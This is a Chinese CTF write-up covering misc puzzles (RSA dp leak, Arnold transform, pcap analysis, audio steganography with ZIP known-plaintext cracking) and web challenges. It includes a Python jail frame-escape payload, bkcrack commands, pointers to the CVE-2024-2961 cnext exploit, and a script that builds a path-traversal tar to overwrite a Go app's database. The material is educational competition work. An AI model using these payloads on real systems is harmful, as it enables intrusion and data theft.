鏖战三天,也就100出头,还是太菜了,简单记录一下比赛中学到的知识
misc
ezmisc
1、提示:利⽤DP泄露来求出私钥,从⽽还原私钥流解密密⽂ 2、图片经过了Arnold变换
给了一个流量包,可以从中导出一个加密的压缩包和一个密文,
还得利用dp泄露,估计是流量包里导出的私钥文件损坏了,难怪直接用来解密会是乱码
文件里 应该n 是对的,p q不对,利用dp推出d
但是 后面发现 用openssl 去解析出的d和利用dp泄露推出的是一样的,。。。
openssl解析证书文件命令
openssl rsa -text -modulus -in warmup -in key.pem
解密代码
import gmpy2
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
e = 0x10001
n = 0x00b3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
dp = 0x0097241a2cd4a3a6a62457ed7a08bdae4285aa8aa5c82f7413a0d8643297cb44ade7e625d29cde1a6a2d9d0c2ab67e1a816470ad4708b792f973387cfb905e473dbb2e4b70da2a4e7462f4531bc1cba0bcfb04b60e49b5eb05c34d8e9148ac12e9a9ce34d7c7af73e9c6be76942de1f035734f6b586508d157809e3e9deddffca7with open('passwd.enc','rb') as file:enc=file.read()for x in range(1,e): #遍历Xif (dp*e-1)%x==0:p=(dp*e-1)//x +1if n%p==0:q=n//p #得到qphi=(p-1)*(q-1) #欧拉函数d=int(gmpy2.invert(e,phi))print(hex(d))#求逆元rsakey=RSA.construct((n,e,d))rsa=PKCS1_OAEP.new(rsakey)m=rsa.decrypt(enc)print(m)
b'M1sc_1s_s0_e@sy!'
解压得到一个图片,提示图片经过Arnold变换
这个变换需要两个参数a,b,爆了很多发现不行,赛后看了别人的wp发现还要爆变换次数,666
从大佬那copy的爆破脚本
import matplotlib.pyplot as plt
import cv2
import numpy as npdef arnold_decode(image, shuffle_times, a, b):""" 使用 Arnold 逆变换对 RGB 图像进行解码参数:image: 经过 Arnold 变换加密的 RGB 图像shuffle_times: 需要解码的次数a, b: Arnold 变换参数返回:解码后的图像"""# 创建一个与原图像相同大小的空白图像decode_image = np.zeros(shape=image.shape)# 获取图像的高度和宽度h, w = image.shape[0], image.shape[1]N = h # 假设图像是正方形,N 取高度或宽度# 进行 shuffle_times 次逆变换for time in range(shuffle_times):for ori_x in range(h):for ori_y in range(w):# 使用 Arnold 逆变换公式计算新坐标new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % Nnew_y = ((-a) * ori_x + ori_y) % N# 将像素映射到新位置decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]# 更新 image 进行下一次迭代image = np.copy(decode_image)return imagedef arnold_brute(image, shuffle_times_range, a_range, b_range):"""通过遍历不同参数进行 Arnold 变换暴力破解参数:image: 加密后的图像shuffle_times_range: 试验解码次数的范围 (起始, 结束)a_range: 试验参数 a 的范围 (起始, 结束)b_range: 试验参数 b 的范围 (起始, 结束)"""for c in range(shuffle_times_range[0], shuffle_times_range[1]):for a in range(a_range[0], a_range[1]):for b in range(b_range[0], b_range[1]):print(f"[+] 尝试 shuffle_times={c} a={a} b={b}")decoded_img = arnold_decode(image, c, a, b)# 保存解码后的图像,文件名包含尝试的参数值output_filename = f"flag_decoded_c{c}_a{a}_b{b}.png"cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])if __name__ == "__main__":# 读取加密的图像文件img = cv2.imread("flag.png")# 进行暴力破解,尝试不同参数范围arnold_brute(img, (1, 8), (1, 20), (1, 30))
最后爆出来是6次,a=16,b=26 ,爆了好久,最后这真没必要,不如再搞个啥隐写或加密 把 abc 给我们
nethttp
给的流量包,一开始访问web服务,给了python服务的源代码(存在ssti),执行了一些命令后,就全是bash盲注查看文件的流量了
猜测成功,回显rce,否则无回显
思路:
遍历包,如果包含file_data包含rce
字符串(盲注正确的相应),就追踪它请求包的request_uri
如何追踪,通过询问gpt和观察wireshark 可知,一次的请求和响应包的tcp stream 号是相等的
一开始想的是如果找到了包含rce的,就再遍历一次,找tcp stream号相同的包,但这样非常慢,由于流量包比较大,搜索比较耗时间
后面发现FileCapture
对象实现了__next__
方法(可以当作可迭代对象访问,在很多pyshark的题目也是直接遍历的),
那就转为list,后发现list[0]
和list[1]
的tcp stream号相等,看来一次请求的请求和响应都被放在了相邻的位置,那么找到包含rce的,那么访问上一个的request_uri就可以了,这样时间就快了很多,几分钟就可以了
脚本实现
import pyshark
import asyncio
import re
import base64
# 设置事件循环
loop = asyncio.ProactorEventLoop()
asyncio.set_event_loop(loop)# 定义 PCAP 文件路径
pcap_file = 'a.pcapng'
# 原理
# 捕获数据包,仅筛选 HTTP 包
cap = pyshark.FileCapture(pcap_file, eventloop=loop, display_filter='http')
lis=list(cap)
print(lis[0].tcp.stream==lis[1].tcp.stream)
with open('cmd.txt','w') as file:for i in range(len(lis)-1):http=lis[i].httpif hasattr(http,'file_data'):raw=str(http.file_data).replace(":","")data=bytes.fromhex(raw).decode('ascii')if "Welcome rce" in data:uri=str(lis[i-1].http.request_uri)cmd=base64.b64decode(re.findall(r'echo%20(.*?)%20%7C',uri)[0]).decode()print(cmd)file.write(cmd+'\n')print('命令解析成功')
# 关闭捕获
cap.close()
cmd.txt就是解码后的命令,逐个提取字符就行
import re
import base64
flag=''
secret=''
with open('cmd.txt','r') as file:datas=file.readlines()for data in datas:data=data.strip()if 'flag' in data:f=re.findall(r'== \'(.*?)\'',data)[0]flag+=fif 'secret' in data:s=re.findall(r'== \'(.*?)\'',data)[0]secret+=s
print(flag)
print(secret)
就是解完后的secret还是加密的,流量中有一个加密的rsa私钥,找了好久没找到密钥,没想到一开始访问服务端源码的流量中的app.config['secert_key']
就是密钥
用解密后的rsa密钥解密secret即可
python jail
这题倒是不错,考察python jail的栈帧逃逸,没学过这就恶补
大佬文章,原理详细
https://pid-blog.com/article/frame-escape-pyjail#%E5%88%A9%E7%94%A8%E7%94%9F%E6%88%90%E5%99%A8%E6%A0%88%E5%B8%A7%E8%BF%9B%E8%A1%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%EF%BC%8C%E4%BD%86%E4%B8%BA%E4%BB%80%E4%B9%88%EF%BC%9F
栈帧逃逸适用情况: __builtins__
被置为空,常规绕过手段被ban时可考虑
这一题的限制了长度,继承链payload会太长,所以考虑栈帧逃逸,利用生成器栈帧的f_back
方法,回溯多次,回溯到题目代码调用exec的栈帧,再利用f_globals
就可以拿到当时的globals环境(有__builtins__
),就有机会rce了,但这题不用rce,只要拿到gloalbals里的box即可拿flag
官方payload,函数使用了yield,返回的就是生成器对象,回溯到最上层,然后用for循环取获取栈帧,
import base64
"""
def b():def a(): yield g.gi_frame.f_back.f_back.f_back.f_backg=a()g=[x for x in g][0]return g.f_globals['BOX']
s=b()
"""
m = "def b():\n def a():yield g.gi_frame.f_back.f_back.f_back.f_back\n g=a();g=[x for x in g][0];return g.f_globals['BOX']\ns=b()"
p = base64.b64encode(m.encode()).decode()
print(p)
print(len(m))
音频的秘密
提示deepsound 弱口令,随手试了个123出了,然后是加密的flag.zip,里面是flag.png再没有其他信息了
经过搜索才发现可以明文攻击,就利用png文件头的那几个字节居然就可以了,以前一直以为必须要两个文件
但是明文的攻击的条件还是传统的ZIP-Crypto算法才行 ,
命令
bkcrack.exe -C "D:\study\题目\ichunqiu2025\music_secret\flag.zip" -c flag.png -x 0 89504E470D0A1A0A0000000049484452
得到key 29d29517 0fa535a9 abc67696
,然后用这个key就可以把里面的数据恢复出来
bkcrack.exe -C "D:\study\题目\ichunqiu2025\music_secret\flag.zip" -c flag.png -k 29d29517 0fa535a9 abc67696 -d "D:\study\题目\ichunqiu2025\music_secret\flag.png"
web
web整体难度不是很大,就是第三天的两个0解,有点一言难尽
bookshelf
我反序列化写了shell,但是当时没能绕过disable_function,比赛结束才后知后觉发现可以直接用cnext(CVE-2024-2961),绕一下open_basedir就行
漏洞发现者写的利用exp
https://github.com/ambionics/cnext-exploits
比较难用,还需要py3.10以上,建议自己改一下或者用大佬修改好的,我这里推荐柯佬改的
https://github.com/kezibei/php-filter-iconv
按照readme使用即可
gotar
还是第一次做出go的题目
通过审计源代码可知,读取flag需要userid为1且是admin(jwt识别),那就需要找可能伪造jwt的点,jwt通过读取文件.env获取
上网搜到了源码中用来解压的tar组件有一个路径遍历的漏洞,可以把压缩包里的文件解压到任意目录导致文件覆盖,还能列目录,因此是路径遍历漏洞
https://github.com/cokeBeer/go-cves/blob/main/CVE-2020-26279/CVE-2020-26279.md
尝试构造…/…/…/…/.env,本地发现可以覆盖了,但还是无法成功改jwt,猜测是.env只读取一次,
后面审计代码,发现文件读取的路径都是从数据库里读出,
而且数据库采用sqlite,是从go.db文件读取的,想到覆盖db文件,本地运行项目,随便上传一个文件,生成db文件,查看表结构
![[i春秋-2.png]]
发现有个path和extarced_path参数,都改为/试试 ,然后尝试读取/flag,和列目录
生成tar包
import tarfile
import iodef create_tar_with_custom_content(tar_name):# 创建一个 tar 文件with tarfile.open(tar_name, 'w') as tar:# 第一个文件的内容file_name1 = '../../../../go.db'with open('go.db','rb') as file:file_content1=file.read()file_like_object1=io.BytesIO(file_content1)# 创建 TarInfo 对象并设置文件元数据tarinfo1 = tarfile.TarInfo(name=file_name1)tarinfo1.size = len(file_content1) # 设置文件大小# 将第一个文件对象添加到 tar 存档tar.addfile(tarinfo1, file_like_object1)
# 创建 tar 文件
create_tar_with_custom_content('end.tar')
可以列目录
flag也是直接读出来了